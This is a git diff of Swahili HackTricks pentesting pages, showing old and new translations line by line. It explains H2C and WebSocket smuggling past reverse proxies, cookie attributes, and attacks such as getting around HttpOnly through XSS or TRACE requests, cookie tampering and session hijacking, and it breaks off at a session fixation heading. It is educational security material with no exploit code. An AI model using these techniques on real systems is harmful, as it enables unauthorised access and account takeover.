Zana [**h2csmuggler na BishopFox**](https://github.com/BishopFox/h2csmuggler) na [**h2csmuggler na assetnote**](https://github.com/assetnote/h2csmuggler) huwezesha majaribio ya **kuzunguka ulinzi uliowekwa na proxy** kwa kuanzisha uhusiano wa H2C, hivyo kuruhusu upatikanaji wa rasilimali zilizolindwa na proxy.
|
Zana [**h2csmuggler na BishopFox**](https://github.com/BishopFox/h2csmuggler) na [**h2csmuggler na assetnote**](https://github.com/assetnote/h2csmuggler) huwezesha majaribio ya **kuzunguka ulinzi uliowekwa na proxy** kwa kuanzisha uhusiano wa H2C, hivyo kuruhusu upatikanaji wa rasilimali zilizolindwa na proxy.
|
||||||
|
|
||||||
Kwa habari zaidi kuhusu udhaifu huu, hasa kuhusu NGINX, tazama [**rasilimali hii iliyodetauliwa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
Kwa habari zaidi kuhusu mkazo huu, hasa kuhusu NGINX, tazama [**rasilimali hii iliyodetauliwa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
||||||
|
|
||||||
## Websocket Smuggling
|
## Websocket Smuggling
|
||||||
|
|
||||||
Websocket smuggling, tofauti na kuanzisha handaki ya HTTP2 kwa hatima inayopatikana kupitia proxy, inaanzisha handaki ya Websocket kwa kuzunguka vizuizi vya proxy na kurahisisha mawasiliano moja kwa moja na hatima.
|
Websocket smuggling, tofauti na kuanzisha handaki ya HTTP2 kwa hatima inayopatikana kupitia proxy, inaanzisha handaki la Websocket kuzunguka vizuizi vya proxy na kurahisisha mawasiliano moja kwa moja na hatima.
|
||||||
|
|
||||||
### Skena 1
|
### Skena 1
|
||||||
|
|
||||||
Katika skena hii, hatima inayotoa API ya Websocket ya umma pamoja na API ya REST ya ndani isiyopatikana inalengwa na mteja mhalifu anayetafuta upatikanaji wa API ya REST ya ndani. Shambulio linajitokeza katika hatua kadhaa:
|
Katika skena hii, hatima inayotoa API ya Websocket ya umma pamoja na API ya REST ya ndani isiyopatikana inalengwa na mteja mhalifu anayetafuta upatikanaji wa API ya REST ya ndani. Shambulio linajitokeza katika hatua kadhaa:
|
||||||
|
|
||||||
1. Mteja anaanza kwa kutuma ombi la Kuboresha kwa reverse proxy na toleo sahihi la itifaki ya `Sec-WebSocket-Version` kwenye kichwa. Proxy, ikishindwa kuthibitisha kichwa cha `Sec-WebSocket-Version`, inaamini ombi la Kuboresha ni sahihi na kulituma kwa hatima.
|
1. Mteja anaanza kwa kutuma ombi la Kuboresha kwa reverse proxy na `Sec-WebSocket-Version` isiyo sahihi ya itifaki katika kichwa. Proxy, ikishindwa kuthibitisha kichwa cha `Sec-WebSocket-Version`, inaamini ombi la Kuboresha ni sahihi na kuliforward kwa hatima.
|
||||||
2. Hatima inajibu na nambari ya hali `426`, ikionyesha toleo lisilo sahihi la itifaki katika kichwa cha `Sec-WebSocket-Version`. Reverse proxy, ikipuuza hali ya jibu la hatima, inadhani kuwa tayari kwa mawasiliano ya WebSocket na inapeleka jibu kwa mteja.
|
2. Hatima inajibu na nambari ya hali `426`, ikionyesha toleo lisilo sahihi la itifaki katika kichwa cha `Sec-WebSocket-Version`. Reverse proxy, ikipuuza hali ya jibu la hatima, inadhani kuwa tayari kwa mawasiliano ya Websocket na kusambaza jibu kwa mteja.
|
||||||
3. Kufuatia hivyo, reverse proxy inadanganywa kuamini kuwa uhusiano wa WebSocket umewekwa kati ya mteja na hatima, wakati halisi, hatima ilikataa ombi la Kuboresha. Hata hivyo, proxy inadumisha uhusiano wa TCP au TLS kati ya mteja na hatima, kuruhusu mteja upatikanaji usiozuiliwa wa API ya REST ya faragha kupitia uhusiano huu.
|
3. Kufuatia hivyo, reverse proxy inadanganywa kuamini kuwa uhusiano wa Websocket umewekwa kati ya mteja na hatima, wakati ukweli ni kwamba hatima ilikataa ombi la Kuboresha. Hata hivyo, proxy inadumisha uhusiano wa TCP au TLS wazi kati ya mteja na hatima, kuruhusu mteja upatikanaji usiozuiliwa wa API ya REST ya faragha kupitia uhusiano huu.
|
||||||
|
|
||||||
Proxies za reverse zilizoathiriwa ni pamoja na Varnish, ambayo ilikataa kushughulikia suala hilo, na proxy ya Envoy toleo 1.8.0 au la zamani, na toleo za baadaye zimebadilisha mbinu ya kuboresha. Proxies nyingine pia zinaweza kuwa hatarini.
|
Proxies za reverse zilizoathiriwa ni pamoja na Varnish, ambayo ilikataa kushughulikia suala hilo, na proxy ya Envoy toleo 1.8.0 au la zamani, na toleo za baadaye zimebadilisha mbinu ya kuboresha. Proxies nyingine pia zinaweza kuwa na udhaifu.
|
||||||
|
|
||||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
|
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
|
||||||
|
|
||||||
|
@ -79,25 +87,46 @@ Proxies za reverse zilizoathiriwa ni pamoja na Varnish, ambayo ilikataa kushughu
|
||||||
|
|
||||||
Skena hii inahusisha hatima yenye API ya Websocket ya umma na API ya REST ya umma kwa ukaguzi wa afya, pamoja na API ya REST ya ndani isiyopatikana. Shambulio, lenye utata zaidi, linajumuisha hatua zifuatazo:
|
Skena hii inahusisha hatima yenye API ya Websocket ya umma na API ya REST ya umma kwa ukaguzi wa afya, pamoja na API ya REST ya ndani isiyopatikana. Shambulio, lenye utata zaidi, linajumuisha hatua zifuatazo:
|
||||||
|
|
||||||
1. Mteja anatuma ombi la POST kuanzisha API ya ukaguzi wa afya, likijumuisha kichwa cha HTTP cha ziada `Upgrade: websocket`. NGINX, ikifanya kazi kama reverse proxy, inachukulia hili kama ombi la Kuboresha la kawaida kulingana tu na kichwa cha `Upgrade`, ikipuuza vipengele vingine vya ombi, na kulituma kwa hatima.
|
1. Mteja anatuma ombi la POST kuanzisha API ya ukaguzi wa afya, likijumuisha kichwa cha HTTP cha ziada `Upgrade: websocket`. NGINX, ikifanya kazi kama reverse proxy, inachukulia hili kama ombi la Kuboresha la kawaida kulingana tu na kichwa cha `Upgrade`, ikipuuza vipengele vingine vya ombi, na kuliforward kwa hatima.
|
||||||
2. Hatima inatekeleza API ya ukaguzi wa afya, ikifikia rasilimali ya nje inayodhibitiwa na mshambuliaji ambayo inarudisha jibu la HTTP lenye nambari ya hali `101`. Jibu hili, mara tu linapopokelewa na hatima na kutumwa kwa NGINX, linadanganya proxy kuamini kuwa uhusiano wa WebSocket umewekwa kutokana na uthibitisho wake wa nambari ya hali pekee.
|
2. Hatima inatekeleza API ya ukaguzi wa afya, ikifikia rasilimali ya nje inayodhibitiwa na mshambuliaji ambayo inarudisha jibu la HTTP lenye nambari ya hali `101`. Jibu hili, mara tu linapopokelewa na hatima na kusambazwa kwa NGINX, linadanganya proxy kuamini kuwa uhusiano wa Websocket umewekwa kutokana na uthibitisho wake wa nambari ya hali pekee.
|
||||||
|
|
||||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||||
|
|
||||||
> **Onyo:** Utata wa mbinu hii unaongezeka kwani inahitaji uwezo wa kuingiliana na hatima inayoweza kurudisha nambari ya hali 101.
|
> **Onyo:** Utata wa mbinu hii unazidi kwani inahitaji uwezo wa kuingiliana na hatima inayoweza kurudisha nambari ya hali 101.
|
||||||
|
|
||||||
Hatimaye, NGINX inadanganywa kuamini kuwa uhusiano wa WebSocket upo kati ya mteja na hatima. Kwa hakika, uhusiano kama huo haupo; API ya REST ya ukaguzi wa afya ilikuwa lengo. Hata hivyo, reverse proxy inadumisha uhusiano wazi, kuruhusu mteja kupata API ya REST ya faragha kupitia huo.
|
Hatimaye, NGINX inadanganywa kuamini kuwa uhusiano wa Websocket upo kati ya mteja na hatima. Kwa ukweli, uhusiano kama huo haupo; API ya REST ya ukaguzi wa afya ilikuwa lengo. Hata hivyo, reverse proxy inadumisha uhusiano wazi, kuruhusu mteja kupata API ya REST ya faragha kupitia huo.
|
||||||
|
|
||||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||||
|
|
||||||
Proxies nyingi za reverse ziko hatarini kwa skena hii, lakini kuchexploit kunategemea uwepo wa udhaifu wa SSRF wa nje, kawaida ukitazamwa kama suala la kiwango cha chini.
|
Proxies nyingi za reverse ziko katika hatari katika skena hii, lakini kuchexploit kunategemea uwepo wa udhaifu wa SSRF wa nje, kawaida ukitazamwa kama suala la kiwango cha chini.
|
||||||
|
|
||||||
#### Maabara
|
#### Maabara
|
||||||
|
|
||||||
Angalia maabara ili kujaribu skena zote mbili kwenye [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
Angalia maabara ili kujaribu skena zote mbili katika [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||||
|
|
||||||
### Marejeo
|
### Marejeo
|
||||||
|
|
||||||
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
|
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
|
||||||
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
|
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
|
||||||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||||
|
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,52 +1,60 @@
|
||||||
# Kuki za Kudukua
|
# Kuvunja Vidakuzi
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuvunja AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Vigezo vya Kuki
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
Kuki huja na vigezo kadhaa vinavyodhibiti tabia yao kwenye kivinjari cha mtumiaji. Hapa kuna muhtasari wa vigezo hivi kwa sauti ya kupita:
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Inatamatika na Max-Age
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
Tarehe ya kumalizika ya kuki inadhibitiwa na sifa ya `Inatamatika`. Kinyume chake, sifa ya `Max-age` inadefini muda kwa sekunde mpaka kuki ifutwe. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.**
|
***
|
||||||
|
|
||||||
|
## Sifa za Kidakuzi
|
||||||
|
|
||||||
|
Vidakuzi huja na sifa kadhaa ambazo hudhibiti tabia yao kwenye kivinjari cha mtumiaji. Hapa kuna muhtasari wa sifa hizi kwa sauti ya kupita:
|
||||||
|
|
||||||
|
### Muda wa Kufunga na Max-Age
|
||||||
|
|
||||||
|
Tarehe ya kufungwa kwa kuki inadhibitiwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inadefini muda kwa sekunde mpaka kuki ifutwe. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.**
|
||||||
|
|
||||||
### Kikoa
|
### Kikoa
|
||||||
|
|
||||||
Wenyeji wa kupokea kuki hufafanuliwa na sifa ya `Kikoa`. Kwa chaguo-msingi, hii imewekwa kwa mwenyeji aliyeitoa kuki, bila kujumuisha subdomains yake. Walakini, wakati sifa ya `Kikoa` inawekwa wazi, inajumuisha pia subdomains. Hii hufanya ufafanuzi wa sifa ya `Kikoa` kuwa chaguo lisilokuwa na kizuizi, lenye manufaa kwa hali ambapo kugawana kuki kati ya subdomains ni muhimu. Kwa mfano, kuweka `Kikoa=mozilla.org` inafanya kuki zipatikane kwenye subdomains kama `developer.mozilla.org`.
|
Wenyeji wa kupokea kuki hufafanuliwa na sifa ya `Domain`. Kwa chaguo-msingi, hii imewekwa kwa mwenyeji aliyeitoa kuki, bila kujumuisha subdomains zake. Walakini, wakati sifa ya `Domain` inawekwa wazi, inajumuisha pia subdomains. Hii hufanya ufafanuzi wa sifa ya `Domain` kuwa chaguo lisilokuwa na kizuizi, lenye manufaa kwa hali ambapo kugawana kuki kati ya subdomains ni muhimu. Kwa mfano, kuweka `Domain=mozilla.org` hufanya vidakuzi kupatikana kwenye subdomains kama `developer.mozilla.org`.
|
||||||
|
|
||||||
### Njia
|
### Njia
|
||||||
|
|
||||||
Njia maalum ya URL ambayo lazima iwe wazi kwenye URL iliyotakiwa kwa kichwa cha `Kuki` kutumwa inaonyeshwa na sifa ya `Njia`. Sifa hii inachukulia `/` kama kipambanuzi cha saraka, kuruhusu kufanana katika vijisehemu pia.
|
Njia maalum ya URL ambayo lazima iwe kwenye URL iliyotakiwa kwa kichwa cha `Cookie` kutumwa inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia `/` kama kipambanua cha saraka, kuruhusu mechi katika vijarida pia.
|
||||||
|
|
||||||
### Sheria za Kuagiza
|
### Sheria za Kuagiza
|
||||||
|
|
||||||
Wakati kuki mbili zina jina sawa, ile inayochaguliwa kutumwa inategemea:
|
Wakati vidakuzi viwili vinabeba jina sawa, kile kinachochaguliwa kutumwa kinafuata:
|
||||||
|
|
||||||
* Kuki inayofanana na njia ndefu zaidi kwenye URL iliyotakiwa.
|
* Kuki inayolingana na njia ndefu zaidi kwenye URL iliyotakiwa.
|
||||||
* Kuki iliyowekwa hivi karibuni zaidi ikiwa njia ni sawa.
|
* Kuki iliyowekwa hivi karibuni zaidi ikiwa njia zinafanana.
|
||||||
|
|
||||||
### SameSite
|
### SameSite
|
||||||
|
|
||||||
* Sifa ya `SameSite` inaamua ikiwa kuki zinatumwa kwenye maombi yanayotoka kwa vikoa vya tatu. Inatoa mipangilio mitatu:
|
* Sifa ya `SameSite` inadhibiti ikiwa vidakuzi vitatumwa kwenye maombi yanayotoka kwa vikoa vya tatu. Inatoa mipangilio mitatu:
|
||||||
* **Strict**: Inazuia kuki kutotumwa kwenye maombi ya vikoa vya tatu.
|
* **Strict**: Inazuia kuki kutotumwa kwenye maombi ya vikoa vya tatu.
|
||||||
* **Lax**: Inaruhusu kuki kutumwa na maombi ya GET yaliyoanzishwa na tovuti za vikoa vya tatu.
|
* **Lax**: Inaruhusu kuki kutumwa na maombi ya GET yaliyoanzishwa na tovuti za vikoa vya tatu.
|
||||||
* **None**: Inaruhusu kuki kutumwa kutoka kwa kikoa chochote cha tatu.
|
* **None**: Inaruhusu kuki kutumwa kutoka kwa kikoa chochote cha tatu.
|
||||||
|
|
||||||
Kumbuka, wakati unapoweka kuki, kuelewa vigezo hivi kunaweza kusaidia kuhakikisha zinajitokeza kama ilivyotarajiwa katika hali tofauti.
|
Kumbuka, wakati unakusanya vidakuzi, kuelewa sifa hizi kunaweza kusaidia kuhakikisha vinajitokeza kama ilivyotarajiwa katika hali tofauti.
|
||||||
|
|
||||||
| **Aina ya Ombi** | **Mfano wa Kanuni** | **Kuki Zinazotumwa Wakati** |
|
| **Aina ya Ombi** | **Mfano wa Kanuni** | **Vidakuzi Vinavyotumwa Wakati** |
|
||||||
| ---------------- | ---------------------------------- | --------------------- |
|
| ---------------- | ---------------------------------- | --------------------- |
|
||||||
| Kiungo | \<a href="...">\</a> | NotSet\*, Lax, None |
|
| Kiungo | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||||
|
@ -56,61 +64,61 @@ Kumbuka, wakati unapoweka kuki, kuelewa vigezo hivi kunaweza kusaidia kuhakikish
|
||||||
| AJAX | $.get("...") | NotSet\*, None |
|
| AJAX | $.get("...") | NotSet\*, None |
|
||||||
| Picha | \<img src="..."> | NetSet\*, None |
|
| Picha | \<img src="..."> | NetSet\*, None |
|
||||||
|
|
||||||
Jedwali kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na kubadilishwa kidogo.\
|
Meza kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na imebadilishwa kidogo.\
|
||||||
Kuki yenye sifa ya _**SameSite**_ itasaidia **kupunguza mashambulizi ya CSRF** ambapo kikao kilichosajiliwa kinahitajika.
|
Kidakuzi chenye sifa ya _**SameSite**_ itasaidia **kupunguza mashambulizi ya CSRF** ambapo kikao kilichosajiliwa kinahitajika.
|
||||||
|
|
||||||
**\*Tambua kwamba kutoka Chrome80 (feb/2019) tabia ya msingi ya kuki bila sifa ya samesite ya kuki itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
**\*Tambua kwamba kutoka Chrome80 (feb/2019) tabia ya msingi ya kidakuzi bila sifa ya samesite** **itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||||
Tambua kuwa kwa muda, baada ya kutumia mabadiliko haya, **kuki bila sera ya SameSite** **katika Chrome zitashughulikiwa kama None** wakati wa **kwanza 2 dakika na kisha kama Lax kwa maombi ya POST ya juu ya kiwango cha juu cha tovuti.**
|
Tambua kuwa kwa muda, baada ya kufanya mabadiliko haya, **vidakuzi bila sera ya SameSite** **katika Chrome vitatibiwa kama None** wakati wa **kwanza 2 dakika na kisha kama Lax kwa ombi za POST za juu za msingi wa tovuti.**
|
||||||
|
|
||||||
## Alama za Kuki
|
## Alama za Kidakuzi
|
||||||
|
|
||||||
### HttpOnly
|
### HttpOnly
|
||||||
|
|
||||||
Hii inazuia **mteja** kupata kuki (Kupitia **Javascript** kwa mfano: `document.cookie`)
|
Hii inazuia **mteja** kupata kidakuzi (Kupitia **Javascript** kwa mfano: `document.cookie`)
|
||||||
|
|
||||||
#### **Kupitisha**
|
#### **Kupitisha**
|
||||||
|
|
||||||
* Ikiwa ukurasa unatuma kuki kama jibu la maombi (kwa mfano kwenye ukurasa wa **PHPinfo**), inawezekana kutumia XSS kupeleka ombi kwa ukurasa huu na **kuiba kuki** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
* Ikiwa ukurasa unatuma vidakuzi kama jibu la maombi (kwa mfano kwenye ukurasa wa **PHPinfo**), inawezekana kutumia XSS kupeleka ombi kwa ukurasa huu na **kuiba vidakuzi** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||||
* Hii inaweza Kupitishwa na maombi ya **HTTP ya TRACE** kama jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itaonyesha kuki zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
|
* Hii inaweza Kupitishwa na maombi ya **HTTP ya TRACE** kama jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itaonyesha vidakuzi vilivyotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
|
||||||
* Mbinu hii inaepukwa na **vivinjari vya kisasa kwa kutokuruhusu kutuma ombi la TRACE** kutoka JS. Walakini, baadhi ya njia za kupitisha hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
|
* Mbinu hii inaepukwa na **vivinjari vya kisasa kwa kutokuruhusu kutuma ombi la TRACE** kutoka JS. Walakini, baadhi ya njia za kupitisha hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
|
||||||
* Njia nyingine ni kutumia mapungufu ya siku/zero ya vivinjari.
|
* Njia nyingine ni kutumia udhaifu wa siku/zero wa vivinjari.
|
||||||
* Inawezekana **kuandika upya kuki za HttpOnly** kwa kufanya shambulio la kujaza Jar ya Kuki:
|
* Inawezekana **kubadilisha vidakuzi vya HttpOnly** kwa kufanya shambulio la kujaza Jar ya Kidakuzi:
|
||||||
|
|
||||||
{% content-ref url="cookie-jar-overflow.md" %}
|
{% content-ref url="cookie-jar-overflow.md" %}
|
||||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* Inawezekana kutumia shambulio la [**Kuki Smuggling**](./#cookie-smuggling) kudukua kuki hizi
|
* Inawezekana kutumia shambulio la [**Cookie Smuggling**](./#cookie-smuggling) kuvuja vidakuzi hivi
|
||||||
|
|
||||||
### Salama
|
### Salama
|
||||||
|
|
||||||
Ombi litatuma kuki **pekee** kwenye ombi la HTTP ikiwa ombi linatumwa kupitia kituo salama (kawaida **HTTPS**).
|
Ombi litatuma kidakuzi **tu** katika ombi la HTTP ikiwa ombi linatumwa kupitia kituo salama (kawaida **HTTPS**).
|
||||||
|
|
||||||
## Vielezi vya Kuki
|
## Vielekezi vya Vidakuzi
|
||||||
|
|
||||||
Kuki zenye kielezi cha `__Secure-` inahitajika kuwekwa pamoja na bendera ya `salama` kutoka kwenye kurasa zilizolindwa na HTTPS.
|
Vidakuzi vilivyo na kipimo cha `__Secure-` vinahitajika kuwekwa pamoja na bendera ya `salama` kutoka kwenye kurasa zilizolindwa na HTTPS.
|
||||||
|
|
||||||
Kwa kuki zenye kielezi cha `__Host-`, masharti kadhaa lazima yatimizwe:
|
Kwa vidakuzi vilivyo na kipimo cha `__Host-`, hali kadhaa lazima zikutane:
|
||||||
|
|
||||||
* Lazima ziwekwe na bendera ya `salama`.
|
* Lazima viwekwe na bendera ya `salama`.
|
||||||
* Lazima zitoke kutoka kwenye ukurasa uliolindwa na HTTPS.
|
* Lazima vitoke kutoka kwenye ukurasa uliolindwa na HTTPS.
|
||||||
* Zimepigwa marufuku kutaja kikoa, kuzuia kutumwa kwao kwa subdomains.
|
* Imezuiliwa kutaja kikoa, kuzuia usafirishaji wao kwa subdomains.
|
||||||
* Njia kwa kuki hizi lazima iwekwe kwa `/`.
|
* Njia kwa vidakuzi hivi lazima iwekwe kwa `/`.
|
||||||
|
|
||||||
Ni muhimu kutambua kuwa kuki zenye kielezi cha `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki husaidia katika kuzingatia kuki za programu. Hivyo, kutumia kielezi cha `__Host-` kwa kuki zote za programu kunaweza kuchukuliwa kama mazoea mazuri ya kuboresha usalama na kujitenga.
|
Ni muhimu kutambua kuwa vidakuzi vilivyo na kipimo cha `__Host-` hairuhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki husaidia katika kuzingatia vidakuzi vya programu. Hivyo, kutumia kipimo cha `__Host-` kwa vidakuzi vyote vya programu kunaweza kuchukuliwa kama mazoea mazuri ya kuboresha usalama na kujitenga.
|
||||||
## Mashambulizi ya Vidakuzi
|
## Mashambulizi ya Vidakuzi
|
||||||
|
|
||||||
Ikiwa kuki ya desturi ina data nyeti ichunguze (hasa kama unashiriki katika CTF), kwani inaweza kuwa hatarini.
|
Ikiwa kuki ya desturi ina data nyeti, ichunguze (hasa kama unashiriki katika CTF), kwani inaweza kuwa na mapungufu.
|
||||||
|
|
||||||
### Kudecode na Kubadilisha Vidakuzi
|
### Kudecode na Kubadilisha Vidakuzi
|
||||||
|
|
||||||
Data nyeti iliyofichwa katika vidakuzi lazima ichunguzwe kwa umakini. Vidakuzi vilivyofichwa kwa Base64 au muundo sawa mara nyingi vinaweza kudecode. Udhaifu huu huruhusu wachomaji kubadilisha maudhui ya kuki na kujifanya kuwa watumiaji wengine kwa kuweka data yao iliyobadilishwa ndani ya kuki.
|
Data nyeti iliyofichwa katika vidakuzi lazima ichunguzwe kila wakati. Vidakuzi vilivyofichwa kwa Base64 au muundo sawa mara nyingi vinaweza kudecode. Udhaifu huu huruhusu wachomaji kubadilisha maudhui ya kuki na kujifanya kuwa watumiaji wengine kwa kuweka data yao iliyobadilishwa kwenye kuki.
|
||||||
|
|
||||||
### Utekaji wa Kikao
|
### Utekaji wa Kikao (Session Hijacking)
|
||||||
|
|
||||||
Mashambulizi haya yanahusisha kuiba kuki ya mtumiaji ili kupata ufikiaji usioidhinishwa kwenye akaunti yao ndani ya programu. Kwa kutumia kuki iliyoibiwa, mchomaji anaweza kujifanya kuwa mtumiaji halali.
|
Mashambulizi haya yanahusisha kuiba kuki ya mtumiaji ili kupata ufikiaji usioidhinishwa kwenye akaunti yao ndani ya programu. Kwa kutumia kuki iliyoibiwa, mchomaji anaweza kujifanya kuwa mtumiaji halali.
|
||||||
|
|
||||||
### Ufikiaji wa Kikao
|
### Ufikiaji wa Kikao (Session Fixation)
|
||||||
|
|
||||||
